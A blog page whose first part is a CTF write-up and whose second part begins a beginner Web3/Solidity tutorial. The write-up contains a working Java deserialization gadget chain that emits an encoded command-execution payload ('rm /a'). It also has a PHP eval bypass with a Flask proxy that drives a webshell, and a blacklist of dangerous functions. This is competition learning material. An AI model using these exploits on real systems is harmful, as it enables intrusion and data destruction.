com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.*; import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.target.HotSwappableTargetSource; import sun.misc.Unsafe; import javax.management.BadAttributeValueExpException; import javax.naming.CompositeName; import javax.servlet.ServletRequest; import javax.swing.event.EventListenerList; import javax.swing.undo.UndoManager; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.security.*; import java.util.Base64; import java.util.HashMap; import java.util.Map; import java.util.Vector; import java.util.zip.Deflater; import java.util.zip.DeflaterOutputStream; import java.util.zip.InflaterInputStream; public class avoid_error { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace"); ctClass0.removeMethod(writeReplace); ctClass0.toClass(); CtClass ctClass = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass); constructor.setBody("Runtime.getRuntime().exec(\"rm /a\");"); ctClass.addConstructor(constructor); byte[] bytes = ctClass.toBytecode(); Templates templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "z"); setFieldValue(templatesImpl, "_tfactory", null); POJONode jsonNodes = new POJONode(templatesImpl); HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonNodes); HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString(null)); HashMap<Object, Object> objectObjectHashMap = makeMap(h1, h2); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject(objectObjectHashMap,privateKey,signingEngine); POJONode jsonNodes1 = new POJONode(signedObject); HotSwappableTargetSource h12 = new HotSwappableTargetSource(jsonNodes1); HotSwappableTargetSource h22 = new HotSwappableTargetSource(new XString(null)); HashMap<Object, Object> objectObjectHashMap1 = makeMap(h12, h22); System.out.println(serial(objectObjectHashMap1).length()); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(objectObjectHashMap1); objectOutputStream.flush(); byte[] barrByteArray = barr.toByteArray(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); Deflater deflater = new Deflater(9); DeflaterOutputStream dos = new DeflaterOutputStream(bos,deflater); dos.write(barrByteArray); dos.finish(); dos.flush(); String encodedString = Base64.getEncoder().encodeToString(bos.toByteArray()); System.out.println("Base64编码后大小: " + encodedString.length() + " 字符"); System.out.println(encodedString); } public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, "table", tbl); return s; } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.setAccessible(true); if(field != null) { field.set(obj, value); } } public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } } eNrtVD1sHEUUfnPn%2B%2BVs8GE7OIrET2M7SmYNQUTiIogTMHY4Yitn2UgntMztTW7X3p9hZtbegERBTw%2BiAwmEuCaNA0SAIkSD0qQACYiUFEhUNISCJjFvdh3ZECNCRZNd3czt7HvfvPfN923%2FVygoCcOrbJ3RWHs%2BnWPKfYmJQunHS1%2BPvXolD7lZqPoR684yR0dyHiralVy5kd9NxLPHIb02yjjkzA%2FBjkayR5WQXtg7K1nANyK5RlkkqGayxzWdi3RrgwnBOj5fSpdaUSwd7g7e%2BvmjmQ9aOSBNKGbBGupNU5vls7BnLXRWuaMbicBdDjlRQM8ypblMAp%2BuMmdNRSHtMs06XtilYdTldHHh1MJp%2FJNVCbkM2l5nfsxfgzchn0g4fDdAyyZjFxLBZjF3%2Bm5yTzDFT%2BHy39NNF%2FtT4hV3Yunpc7Tl9ULezdqsbH3hHjz23VYO8m0oOVGoeYh85Non2lBRGMh0LNMuqk2oaZczvxchihv8lbSWNieBpMXSJPdv7PujWF66nlYAUBjv35PA%2FyqBpw2AikNqOGOCOS6nCcNmqYdHLkPm00T52qFasoQu8UD4THM1j3NlZeFS2P%2FkSB6K8zBo43YokdNx0OF4SEM2JoTK53oe15M2VO3OOc0dLEFp1JTRUdF2fKbwsd7exfFJs9ZoQsEO8ez2VFMThu0o1iLWizISXGrPgI5lgUZE1s56w%2BgMYAsvlKDZ%2BMWb46O93k9HtzUIZE9pkpVvb33%2BJb5%2BEh4iQFgJCIHjyJaFbFnIlpWxZaVsWbfZslK2LBmH2gu4NdNRyIOjl7bJKEGeQPGYF3r6GQL5yallAgMnkZQaFKBYhQEok8wMWcNnMpwSVAlUUY7bzwRGJ6ead4Q1alCDwSrcB0MECjJ4xGJleAB34Al3CExM3knlbhQkzeHIfQ3q8KBBGcFNM2vMej5uWmTURMOjaLWBTEd4Y%2BE4lvBpP64TnIcOXoDKp3B%2FfXgTRlfOb0eOpRbdJzSQ18UGgcQYYECZ0bj28b2UKJh2d5QYpfZT9OWs%2BAPVicbc2Dc3Myv8l%2FzMx7%2B%2FU69cfGNzPDVlIbDx9W1PHvp3sOcTgZ8h5UVh6YcPD7zd73%2Bf4pQDWzCZfiyfaO4lF4OyI5cdFONOFKsQpoaRJDbTIFJmTR%2FOjcJbv%2FhTj61NvOc9nHzWbFw7X3vqleXcSPPI4rvrv01%2F%2FP7V1oXNi%2BM3vnqBXkZ3PdeaucftP3I7nPwJKiK0Jw%3D%3D [Web] phpms | @Rusty @Luminoria @Ron | 未出 进去一片空白? 对扫描速度做了限制 存在/.git泄露:/.git/logs/HEAD githacker爬取,stashes里面有index.php 1 2 3 4 5 6 7 8 <?php $shell = $_GET['shell']; if(preg_match('/\x0a|\x0d/',$shell)){ echo ':('; }else{ eval("#$shell"); } ?> 参考:【从国赛想到的一些php绕过注释符trick】https://osthing.github.io/2024/07/14/%E4%BB%8E%E5%9B%BD%E8%B5%9B%E6%83%B3%E5%88%B0%E7%9A%84%E4%B8%80%E4%BA%9Bphp%E7%BB%95%E8%BF%87%E6%B3%A8%E9%87%8A%E7%AC%A6trick/ https://www.php.net/manual/zh/language.basic-syntax.comments.php 写一个中间件把 payload 包裹在 ?><? 和 ?> 的中间 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from flask import Flask, request import requests app = Flask(__name__) # 设置目标 URL TARGET_URL = "http://305c69e8-4b82-47cc-9072-e5997b2cbb66.node5.buuoj.cn:81/index.php?shell=" @app.route("/exec", methods=["GET", "POST"]) def send_payload(): payload = request.args.get("payload") or request.form.get("payload") if not payload: return "Missing payload", 400 # 包装 payload data = f"?><?{payload}?>" # 发送 POST 请求 try: response = requests.get(TARGET_URL+data) print (response.text) return response.text, response.status_code except Exception as e: return str(e), 500 if __name__ == "__main__": app.run(port=5000, debug=True) 蚁剑参数 1 2 3 URL: http://127.0.0.1:5000/exec 连接密码: payload 编码器选择 base64 得到 1 2 php版本7.3.33 Apache/2.4.52 (Debian) 能够拿到黑名单 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php function block_if_dangerous_code($input) { // 定义正则:匹配函数名,忽略大小写,捕获具体匹配内容 if (preg_match('/\b(eval|include|include_once|require|require_once)\b/i', $input, $match)) { $matched_func = $match[1]; // 捕获到的函数名 echo "<br />"; echo "<b>Warning</b>: {$matched_func} has been disabled for security reasons in <b>/var/www/html/index.php(6) : eval()'d code</b> on line <b>1</b><br />"; exit; } } // 检查 GET 参数 shell if (isset($_GET['shell'])) { block_if_dangerous_code($_GET['shell']); } ?> Reverse [Reverse] BabyAPP | @Jeremiah | 未出 能够得到 K3y: 2086757714 有简单混淆,只需要在BR x8处将指令patch成 B 某个偏移处即可,经过测试需要改成B SBFX指令的下一条指令的地址即可 加密流程为 白盒AES(0x3FD0) CRC32(0x6C6F7665) [Reverse] 鱼音乐 | @Jeremiah | 未出 看图标 Pyinstaller,GUI 用的 Qt5,使用 Pylingual 逆向 main.pyc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 # Decompiled with PyLingual (https://pylingual.io) # Internal filename: main.py # Bytecode version: 3.8.0rc1+ (3413) # Source timestamp: 1970-01-01 00:00:00 UTC (0) import sys import os from PyQt5.QtWidgets import QApplication, QMainWindow, QWidget, QPushButton, QLabel, QVBoxLayout, QFileDialog, QMessageBox from PyQt5.QtGui import QPixmap from PyQt5.QtMultimedia import QMediaPlayer, QMediaContent from PyQt5.QtCore import QUrl from xianyu_decrypt import load_and_decrypt_xianyu class MainWindow(QMainWindow): def __init__(self): super().__init__() self.setWindowTitle('Fish Player - 鱼音乐🐟') self.resize(600, 400) self.player = QMediaPlayer(self) self.open_button = QPushButton('打开 .xianyu 文件') self.open_button.clicked.connect(self.open_xianyu) self.cover_label = QLabel('专辑封面展示') self.cover_label.setScaledContents(True) self.cover_label.setFixedSize(300, 300) layout = QVBoxLayout() layout.addWidget(self.open_button) layout.addWidget(self.cover_label) container = QWidget() container.setLayout(layout) self.setCentralWidget(container) def open_xianyu(self): file_path, _ = QFileDialog.getOpenFileName(self, '选择 .xianyu 文件', '', 'Xianyu Files (*.xianyu)') if not file_path: return try: info = load_and_decrypt_xianyu(file_path) meta = info['meta'] cover_path = info['cover_path'] audio_path = info['audio_path'] if cover_path and os.path.exists(cover_path): pixmap = QPixmap(cover_path) self.cover_label.setPixmap(pixmap) else: self.cover_label.setText('无封面') url = QUrl.fromLocalFile(audio_path) self.player.setMedia(QMediaContent(url)) self.player.play() name = meta.get('name', '未知') artist = meta.get('artist', '未知歌手') fl4g = meta.get('fl4g', 'where_is_the_flag?') FLAG = meta.get('') QMessageBox.information(self, '🐟音乐提示您', f'正在播放:{name}\n歌手:{artist}\nfl4g:{fl4g}\nFLAG:{FLAG}') except Exception as e: QMessageBox.critical(self, '错误', str(e)) def main(): app = QApplication(sys.argv) w = MainWindow() w.show() sys.exit(app.exec_()) if __name__ == '__main__': main() xianyu_decrypt 是 pyd 文件,应该是 Cython 写的

2025/6/22
articleCard.readMore

【更新中】Web3 CTF 从入门到入土

从我复读考上大学以后继续打 CTF,我就发现了跟我以前打 CTF 相比,现在的 CTF 的 Misc 中加入了更多的新题,而其中就有 Web3 这一分支。而我在网上冲浪的时候发现 Web3 的教程还是太少了(毕竟这东西太新了),于是我决定写一篇 Web3 的各方面的文章,包含所有我会遇到的东西,不仅是我自己能看,其他 Web3 小萌新也可以进行学习,于是就有了本文 因为我个人是写文章是习惯性地尽可能详细的(特别是技术文),所以如果觉得本文啰嗦的话,可以跳着看,目录在右边的公告栏下方 我会根据我自己学习的进度来更新本文章,这是长线作战,我会尽量坚持下来的 本文将会使用钱包 0xF126dCA69E9c9E5f128bb718b98f3544F9A8b413 作为测试用户 My wallet address: 0x8888813Cb0Dc768CDd0D9b3e62674E715a13d611 因为本站使用的代码高亮 highlight.js 对 Solidity 的支持是战五渣级别的,为了良好的阅读体验,对于 Solidity 代码,我会使用下面这个工具进行高亮后,再以 html 代码的形式复制到本页面中,已经通过写 js 和 css 的方式解决了没有行号和复制按钮的问题,除了看起来跟其他代码框有那么一点点的区别外,大致不影响(因此带来了没有一键复制和没有行号显示的问题),不便之处,尽请谅解(滑跪) Syntax Highlighter: https://syntaxhighlighter.app/zh-Hans/solidity 前置准备与知识点 入门这一节我会讲述需要准备什么东西,怎么准备,如果你已经准备好了的话可以跳过这一节 准备一个钱包 作为一名即将步入 Web3 领域的 CTFer,你需要准备一个钱包。鉴于 MetaMask 这个钱包的知名以及使用之广泛,我建议你安装一个 MetaMask 在电脑上安装 在电脑上,MetaMask 是一个浏览器插件,所以你可以使用任意 Chromium 内核的浏览器进行安装(或者是 Firefox),这里罗列几个地址 Edge: https://microsoftedge.microsoft.com/addons/detail/metamask/ejbalbakoplchlghecdalmeeeajnimhm?hl=zh-CN Chrome: https://chromewebstore.google.com/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn Firefox: https://addons.mozilla.org/en-US/firefox/addon/ether-metamask/ Opera: https://addons.opera.com/en-gb/extensions/details/metamask-10/ 在手机上安装 如果是使用 Android 手机,可以直接通过 Google Play 进行安装,当然你也可以使用 Github https://github.com/MetaMask/metamask-mobile/releases 苹果手机的话你肯定绕不开 App Store https://apps.apple.com/us/app/metamask-crypto-wallet/id1438144202 安装完成后初始化一个钱包就行了,当然了,以太坊主网有点难连接上,可以考虑开个梯子 安全提示:请不要把你的助记词/私钥发给任何人;请只授权你信任的 DAPP/网站与你的钱包进行连接! 不管你对 Web3 有多了解,如果你看到这里了,我都建议你再去看一次小狐狸的安全指南:https://learn.metamask.io/zh-CN/lessons/security-in-web3 准备 Remix IDE Remix IDE 是一个开源的、基于浏览器的集成开发环境(IDE),主要用于开发、编译、测试和部署以太坊(Ethereum)区块链上的智能合约。它由以太坊基金会支持,旨在为开发者提供一个简单易用的工具来编写 Solidity 语言(以太坊智能合约的主要编程语言)代码。—— Grok 主要注意地址是否正确就行了,不正确的地址可能会造成你钱货两空(额……货是什么?我不道啊) 在线IDE:https://remix.ethereum.org/ 本地IDE(离线版):https://github.com/remix-project-org/remix-desktop-insiders 使用钱包去接水 在每个区块链上,通常都存在多个网络,其中最重要的是主网(Mainnet)和测试网(Testnet)。 主网网络(Mainnet):主网网络是真正的生产环境,其中的交易使用真实的代币进行结算。这是真正的价值交换发生的地方,因此需要小心谨慎。 测试网络(Testnet):在主网上进行开发和测试可能会非常昂贵,因为每个操作都需要使用真实代币支付Gas费用。为了解决这个问题,每个区块链都提供了测试网络,这些网络上的代币没有实际价值,而且通常可以通过水龙头免费获得。开发者可以在测试网络上构建和测试智能合约,以确保它们在主网上能够正确运行。 我们在测试的过程中,当然不可能去使用真钱,所以我们要去拿测试币(俗称:接水) 我这边使用的是由 Google 提供的 Ethereum Sepolia Faucet,这里有好几种测试币可以选择,我选择在 Sepolia 上进行测试,所以我选择 Ethereum Sepolia,每次可以接到 0.05 ETH(每个 Google 账号每 24 小时可以接这个数量) 实际上,0.05 ETH 已经能干很多事情了 https://cloud.google.com/application/web3/faucet/ethereum/sepolia 把自己的钱包地址填进去就可以了,地址在钱包里面顶上复制一下就好了 (可选)部署一个最简单的开发节点 你可以使用 hardhat 来部署一个最简单的开发节点,首先你的确保你安装了 nodejs 然后使用 npx hardhat init 来初始化你的节点,使用 npx hardhat node 来开启节点的服务 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 $ npx hardhat init 888 888 888 888 888 888 888 888 888 888 888 888 888 888 888 8888888888 8888b. 888d888 .d88888 88888b. 8888b. 888888 888 888 "88b 888P" d88" 888 888 "88b "88b 888 888 888 .d888888 888 888 888 888 888 .d888888 888 888 888 888 888 888 Y88b 888 888 888 888 888 Y88b. 888 888 "Y888888 888 "Y88888 888 888 "Y888888 "Y888 Welcome to Hardhat v2.24.0 √ What do you want to do? · Create a TypeScript project √ Hardhat project root: · F:\CTF\Web3\Node √ Do you want to add a .gitignore? (Y/n) · y √ Help us improve Hardhat with anonymous crash reports & basic usage data? (Y/n) · y √ Do you want to install this sample project's dependencies with npm (hardhat @nomicfoundation/hardhat-toolbox)? (Y/n) · y npm install --save-dev "hardhat@^2.24.0" "@nomicfoundation/hardhat-toolbox@^5.0.0" npm warn deprecated inflight@1.0.6: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful. npm warn deprecated glob@8.1.0: Glob versions prior to v9 are no longer supported npm warn deprecated glob@5.0.15: Glob versions prior to v9 are no longer supported npm warn deprecated glob@7.1.7: Glob versions prior to v9 are no longer supported npm warn deprecated lodash.isequal@4.5.0: This package is deprecated. Use require('node:util').isDeepStrictEqual instead. npm warn deprecated glob@7.2.3: Glob versions prior to v9 are no longer supported npm warn deprecated glob@7.2.3: Glob versions prior to v9 are no longer supported added 576 packages in 22s 103 packages are looking for funding run `npm fund` for details Project created See the README.md file for some example tasks you can run Give Hardhat a star on Github if you're enjoying it! https://github.com/NomicFoundation/hardhat $ npx hardhat node Started HTTP and WebSocket JSON-RPC server at http://127.0.0.1:8545/ Accounts ======== WARNING: These accounts, and their private keys, are publicly known. Any funds sent to them on Mainnet or any other live network WILL BE LOST. Account #0: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 (10000 ETH) Private Key: 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 Account #1: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 (10000 ETH) Private Key: 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d Account #2: 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC (10000 ETH) Private Key: 0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a Account #3: 0x90F79bf6EB2c4f870365E785982E1f101E93b906 (10000 ETH) Private Key: 0x7c852118294e51e653712a81e05800f419141751be58f605c371e15141b007a6 Account #4: 0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65 (10000 ETH) Private Key: 0x47e179ec197488593b187f80a00eb0da91f1b9d0b13f8733639f19c30a34926a Account #5: 0x9965507D1a55bcC2695C58ba16FB37d819B0A4dc (10000 ETH) Private Key: 0x8b3a350cf5c34c9194ca85829a2df0ec3153be0318b5e2d3348e872092edffba Account #6: 0x976EA74026E726554dB657fA54763abd0C3a0aa9 (10000 ETH) Private Key: 0x92db14e403b83dfe3df233f83dfa3a0d7096f21ca9b0d6d6b8d88b2b4ec1564e Account #7: 0x14dC79964da2C08b23698B3D3cc7Ca32193d9955 (10000 ETH) Private Key: 0x4bbbf85ce3377467afe5d46f804f221813b2bb87f24d81f60f1fcdbf7cbf4356 Account #8: 0x23618e81E3f5cdF7f54C3d65f7FBc0aBf5B21E8f (10000 ETH) Private Key: 0xdbda1821b80551c9d65939329250298aa3472ba22feea921c0cf5d620ea67b97 Account #9: 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720 (10000 ETH) Private Key: 0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6 Account #10: 0xBcd4042DE499D14e55001CcbB24a551F3b954096 (10000 ETH) Private Key: 0xf214f2b2cd398c806f84e317254e0f0b801d0643303237d97a22a48e01628897 Account #11: 0x71bE63f3384f5fb98995898A86B02Fb2426c5788 (10000 ETH) Private Key: 0x701b615bbdfb9de65240bc28bd21bbc0d996645a3dd57e7b12bc2bdf6f192c82 Account #12: 0xFABB0ac9d68B0B445fB7357272Ff202C5651694a (10000 ETH) Private Key: 0xa267530f49f8280200edf313ee7af6b827f2a8bce2897751d06a843f644967b1 Account #13: 0x1CBd3b2770909D4e10f157cABC84C7264073C9Ec (10000 ETH) Private Key: 0x47c99abed3324a2707c28affff1267e45918ec8c3f20b8aa892e8b065d2942dd Account #14: 0xdF3e18d64BC6A983f673Ab319CCaE4f1a57C7097 (10000 ETH) Private Key: 0xc526ee95bf44d8fc405a158bb884d9d1238d99f0612e9f33d006bb0789009aaa Account #15: 0xcd3B766CCDd6AE721141F452C550Ca635964ce71 (10000 ETH) Private Key: 0x8166f546bab6da521a8369cab06c5d2b9e46670292d85c875ee9ec20e84ffb61 Account #16: 0x2546BcD3c84621e976D8185a91A922aE77ECEc30 (10000 ETH) Private Key: 0xea6c44ac03bff858b476bba40716402b03e41b8e97e276d1baec7c37d42484a0 Account #17: 0xbDA5747bFD65F08deb54cb465eB87D40e51B197E (10000 ETH) Private Key: 0x689af8efa8c651a91ad287602527f3af2fe9f6501a7ac4b061667b5a93e037fd Account #18: 0xdD2FD4581271e230360230F9337D5c0430Bf44C0 (10000 ETH) Private Key: 0xde9be858da4a475276426320d5e9262ecfc3ba460bfac56360bfa6c4c28b4ee0 Account #19: 0x8626f6940E2eb28930eFb4CeF49B2d1F2C9C1199 (10000 ETH) Private Key: 0xdf57089febbacf7ba0bc227dafbffa9fc08a93fdc68e1e42411a14efcf23656e WARNING: These accounts, and their private keys, are publicly known. Any funds sent to them on Mainnet or any other live network WILL BE LOST. hardhat 会给我们提供测试的钱包,但是需要注意的是,不要在主网上往这些钱包转账!这些账户的私钥是公开的,所以可能会导致你的钱被盗走 开启后自己在小狐狸钱包里面加入自己的本地网络就可以了 使用 Remix IDE 部署合约 在 Remix IDE 中,我们先新建一个文件,文件名你喜欢就好 我们添加以下代码(一个简单的加法) // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; contract TestAdd { function add (uint256 _a, uint256 _b) public pure returns (uint256) { return _a + _b; } } 完成后按下 Ctrl + S 会自动编译,或者你也可以点击左侧的 Solidity 编译器,然后点击那个蓝色的编译按钮也可以 完成编译后我们要进行部署,我们点到左边的 部署 & 发交易 选项卡,在这里点击上面的环境,选择 WalletConnect 连接自己的钱包,注意网段别选错了,万一选到了以太坊那是真给钱了 这里会让你授权部署合约,再次确认你的网络和账户是正确的 连接好后点击下面的部署就可以部署合约了,等到它部署完成就可以调用了 在部署的时候,下面的 Terminal 里面会有信息的 这里会给你显示合约详细信息的查看连接,例如我这里就是这两个 View on Blockscout: https://eth-sepolia.blockscout.com/tx/0xee0efde8c7fb84304a3c785becc3c6e4559b8cc9bc37f5eb920bedfdc81e1891 View on Etherscan: https://sepolia.etherscan.io/tx/0xee0efde8c7fb84304a3c785becc3c6e4559b8cc9bc37f5eb920bedfdc81e1891 这里显示这个合约的状态,部署完成后在已部署的合约中是有你的合约的,你就可以直接调用了 如果你做到了这一步,恭喜你,你已经完成你的第一次合约部署了! 与 Remix IDE 共享本地文件 我们在 Remix IDE 中编写的文件是保存在这个 IDE 里面的,但是我们很多时候还是希望保存在自己电脑上(作为文件),或者把自己电脑上的文件共享到这个 IDE 里面,这时候我们需要用到 remixd,先确保你安装了 nodejs 和 npm,然后我们来安装一下 remixd 1 npm install -g @remix-project/remixd 安装完成后,使用下面的命令来共享文件夹 1 2 3 4 5 6 7 8 $ remixd -s .\contracts\ -u https://remix.ethereum.org/ [INFO] you are using the latest version 0.6.48 [WARN] You may now only use IDE at https://remix.ethereum.org/ to connect to that instance [WARN] Any application that runs on your computer can potentially read from and write to all files in the directory. [WARN] Symbolic links are not forwarded to Remix IDE [INFO] Tue May 27 2025 13:01:14 GMT+0800 (香港标准时间) remixd is listening on 127.0.0.1:65520 [INFO] Tue May 27 2025 13:01:14 GMT+0800 (香港标准时间) slither is listening on 127.0.0.1:65523 你应该将这里的 .\contracts\ 更换为你自己的文件夹路径,命令的用法为 remixd -s <path-to-the-shared-folder> -u <remix-ide-instance-URL> 我们还需要在 Remix IDE 里面安装 REMIXD 插件,在左下角有个插头图标,点击后我们在搜索框搜索 REMIXD 就可以找到了 启用后回到文件管理,就可以看到工作空间多了个 localhost,这里面就是你的文件了 理解以太坊 现在,是时候了解一下到底什么是以太坊,什么是 Web3 了 这个问题讲起来比较麻烦,你可能需要阅读下面的这些连接 什么是 Web3?(MetaMask): https://learn.metamask.io/zh-CN/lessons/what-is-web3 了解以太坊 (ethereum): https://ethereum.org/zh/learn/ 以太坊(ETH)到底是什么?(通俗的解释): https://zhuanlan.zhihu.com/p/390884462 注:此账户其他的文章建议不看,AI 水分很大,但是就上面这个来说确实很形象了 其中小狐狸的教程比较简单易懂,也比较浅显,而以太坊官方的教程更加的详细 但如果你想寻求一下类比的东西,那么你可以看看下面这一段 Grok 3 的概括 以太坊是什么? 以太坊(Ethereum)就是一个去中心化的“超级计算机”平台,简单来说,它是一个基于区块链技术的网络,任何人都可以在上面运行程序、创建应用,甚至发行自己的数字货币。它不像比特币只是用来转账和存储价值,以太坊更像一个可以编程的“世界计算机”,支持各种复杂的功能。 想象一下:以太坊就像一个巨大的共享电脑,全世界的人都可以用它来写代码、跑程序,这些程序还能自动执行,不需要中间人,也不怕有人作弊。这就是它的核心魅力。 以太坊里的专有名词解释 下面咱们把一些常见的专业名词拆解一下,用人话讲明白: 区块链(Blockchain) 这是以太坊的基础技术。想象一个超级安全的账本,所有的交易和操作记录都写在上面,每一页(区块)都连在一起(链)。这个账本是公开的,谁都可以看,而且一旦写进去就改不了,保证了数据的安全和透明。 以太币(Ether, 简称ETH) 这是以太坊网络里的“货币”,用来支付运行程序或交易的费用。就像你用电脑要交电费一样,在以太坊上跑程序或转账得花ETH。 智能合约(Smart Contract) 这是以太坊的核心功能之一。智能合约就是一段自动执行的代码,写在区块链上。比如,你和朋友约定“如果明天下雨,我就给你100块”,这个条件写成代码后,到了明天如果真下雨,系统会自动转账,不需要你手动操作,也不用担心对方赖账。 去中心化应用(DApp) 这是运行在以太坊上的应用程序,和咱们手机上的App差不多,但区别在于它不是由某个公司控制,而是跑在区块链上,数据公开,规则透明。比如去中心化的金融应用(DeFi)、游戏、投票系统等。 Gas(燃气费用) 在以太坊上运行任何操作(比如转账或执行智能合约)都需要支付手续费,这个费用叫Gas。Gas是用ETH支付的,类似于你开车要加油,Gas费高低取决于网络的“拥堵程度”和操作的复杂性。 节点(Node) 节点就是参与以太坊网络的电脑。任何人都可以运行一个节点来帮助维护网络,记录交易数据。节点越多,网络越安全、越去中心化。 挖矿(Mining) 和 PoW/PoS 挖矿:早期以太坊通过“挖矿”来验证交易和生成新区块, miners(矿工)用电脑算力解决问题,成功后就能获得ETH奖励。这叫工作量证明(PoW,Proof of Work),就是比特币用的那套。 现在以太坊已经升级到“合并”(The Merge),改用了权益证明(PoS,Proof of Stake)。不再靠算力,而是靠持有和质押ETH来参与验证交易,更加节能。 以太坊虚拟机(EVM) 这是以太坊的核心引擎,负责执行智能合约代码。就像你的电脑运行软件一样,EVM是所有DApp和智能合约的“运行环境”。 Layer 2(二层解决方案) 以太坊主网(Layer 1)有时候会很慢,Gas费也很贵。所以就有了Layer 2技术,比如Optimism、Arbitrum,它们是建在以太坊上的“辅助网络”,可以处理更多交易,降低成本,然后再把结果汇总到主网。 总结一下 以太坊是一个支持智能合约和去中心化应用的区块链平台,它的“货币”是ETH,它的“燃料”是Gas。用户可以在上面开发各种应用(DApp),所有操作都由智能合约自动执行,数据存储在公开透明的区块链上。网络通过节点运行,经过PoS机制验证交易,同时还有Layer 2来优化速度和成本。 简单来说,以太坊就是一个开放的数字世界,你可以在里面创造、交易、合作,而且不需要相信任何人,因为规则和代码说了算。 学习 Solidity 我是跟着右边这个链接学习的,再加上我的一些解释/见解,共同组成了这一部分:https://decert.me/tutorial/solidity/intro/ 在这一节中,我假设作为读者的你有这部分的编程基础,学过至少一门编程语言(例如 C、Python、Javascript 等) 最基础的合约文件 最简单的合约文件由两个部分组成:编译器版本声明、合约,拿上面的加法合约举例 // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; contract TestAdd { function add (uint256 _a, uint256 _b) public pure returns (uint256) { return _a + _b; } } pragma solidity >=0.7.0; 表示编译器版本应该大于等于 0.7.0,这个写法是与 npm 的写法兼容的,这里也可以写作 ^0.7.0 contract TestAdd 定义了一个合约,这个合约的名字叫做 TestAdd function add (uint256 _a, uint256 _b) public pure returns (uint256) 定义了一个在 TestAdd 合约里面的函数,函数名为 add (uint256 _a, uint256 _b) 与 C 类似,这里表明了这个函数需要接受两个参数 _a 和 _b,他们都是 uint256 类型 public 是一个可见性修饰符,表示它能够被任何人调用(关于可见性修饰符,后面会有详细的解释) pure 是一个状态可变性修饰符,表示这个函数既不会读取合约的状态变量,也不会修改合约的状态变量(关于可变性修饰符,后面会有详细的解释) returns (uint256) 表示这个函数的返回值是一个 uint256 类型 于是这个名为 TestAdd 的合约最后拥有了一个给任何用户调用并输入 _a 和 _b,不改变合约内部变量,返回 uint256 数字的一个加法函数,这也是这个合约的所有内容 看完这里,你可以先去尝试一下这个挑战:https://decert.me/quests/d99f56d8-3b98-47e5-893d-e6f63810a151 理解合约 合约可以看作是 class(一个对象),举个例子,在学习 Python 的过程中,你肯定遇到过这样的一个例子 1 2 3 4 5 6 class Dog: def __init__(self): ... def bark(self, sound="know-wow"): return sound 在这里的 Python 代码中,我们定义了一个名为 Dog 的对象,并且定义了它的一个函数叫做 bark(吠叫),当我们使用它的时候,肯定是这样用的 1 2 dog = Dog() print(dog.bark(sound="know-wow")) 这会输出 know-wow,而我们在 Solidity 中,是这样写的 pragma solidity ^0.8.0; contract Dog { function Bark (string 